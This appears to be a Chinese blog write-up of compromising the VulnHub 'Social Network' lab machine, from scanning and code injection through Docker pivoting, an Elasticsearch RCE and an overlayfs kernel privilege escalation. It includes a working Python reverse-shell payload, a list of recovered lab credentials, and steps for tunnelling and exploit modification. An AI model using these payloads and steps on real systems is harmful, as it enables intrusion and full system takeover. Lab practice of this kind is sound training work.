VulnHub-BoredHackerBlog: Social Network

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

1.主机发现

靶机和kali处于同一网段,使用二层地址发现找出靶机IP(192.168.56.101)

2.端口扫描

拿到IP后,对靶机进行全端口扫描,探测靶机开启了22和5000两个端口

3.服务发现

扫描出这两个端口后,使用namp对打开端口进行服务和版本的发现

22端口跑的是OpenSSH服务,操作系统是Ubuntu;5000端口跑的是http服务,服务器端可能运行Python的环境

4.找注入点

既然是Web服务,就可以看一下有没有默认页面啥的找一下注入点,结果没有发现跨站啥的漏洞,可能是我SO菜Dog,哈哈。

5.路径爬取

既然这样找不到注入点,就用dirsearch扫一下目录吧,结果发现了一个页面

6.代码注入

打开是一个一个代码执行页面,可能存在注入点

7.Shell脚本

试一下Python脚本反弹Shell获取权限

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

启动侦听后提交发现成功了!!!而且还有root权限???

百度Dockerfile文件发现它是一个标准化部署的模板文件。通过查找确认了这机器确实是Dockerfile容器

6.内网信息收集

查看IP发现这是一个内网IP,扫一下网段里的存活主机发现只有三个

for i in $(seq 1 65535); do ping -c 1 172.17.0.$i; done

7.内网穿透

因为是一个内网网段,用kali扫描内网使用venom工具,建立隧道去穿透内网

kali开启http服务

靶机通过kali的http服务下载venom客户端

给venom执行权限

kali启动venom侦听9999端口

靶机执行venom客户端建立隧道

用show命令查看节点并使用goto 1连接节点,kali端启动侦听1080端口的socks代理(socks 1080)

为了让kali的攻击工具可以通过挂代理访问内网网段,使用proxychain工具。

修改proxychain的配置文件,代理类型为socks5端口改为1080

8.内网端口及服务扫描

扫描端口和服务之后发现了172.17.0.3中9200端口跑的应用是Elasticsearch,而且版本是1.4.2

9.漏洞利用

Elasticsearch曾经出现过严重的RCE远程代码执行漏洞,用kali找到的前两个远程代码执行漏洞可以利用

先试第一个,把它拷贝到桌面并查看一下脚本代码,发现是用Python2编写的

用Python2执行脚本发现提示使用信息

执行脚本命令,发现又是一个root权限,emmm~

结果发现又是一个容器的root权限,但是在根目录有一个passwords文件

10.密码破解

查看passwords文件发现里面存放了一些账号和密码(哈希值),需要得到明文密码才能尝试登陆

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane

直接用账号密码尝试登录打开22端口的SSH,结果root根本登陆不进去。只能从第一个开始试了,结果直接进去了

后来试了一下其它的,只有john能登陆

11.本地提权

既然进去了,不做点什么都对不起自己,看一下能不能直接sudo到root,很明显不能

查看版本信息发现版本是老古董了,内核提权直接冲

kali查一下3.13的内核版本漏洞有哪些

试一下这个吧

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37292.c

老规矩,先拷到桌面看一下

发现这是一个C语言的源代码,先编译才能执行,试了一下靶机竟然没有gcc

12.修改代码并攻击

本地编译成二进制再给靶机执行是可以的,但是查看源码发现,里面再次调用了C语言函数库

只能修改源码再编译成二进制文件传给靶机执行,让代码执行到这里时不调用C语言库文件,而是使用编译好的二进制文件,就可以解决这个问题。把涉及编译库文件的指令全部删掉,所以这里直接删除了139-147行。

修改完后编译成二进制文件,报错并不影响执行结果,不需要管它

要执行exp文件还需要已经编译好的二进制的库文件,源码中有库文件名,找到后依旧拷贝到桌面

当前目录启动http服务

通过http服务将两个文件传到靶机

13.提权ROOT

将文件拷贝到tmp目录下,并给执行权限

直接执行并查看当先用户权限

到此已攻陷靶机,打靶完成!!!

posted @ 2022-09-02 08:16  HKalpa  阅读(135)  评论(0编辑  收藏  举报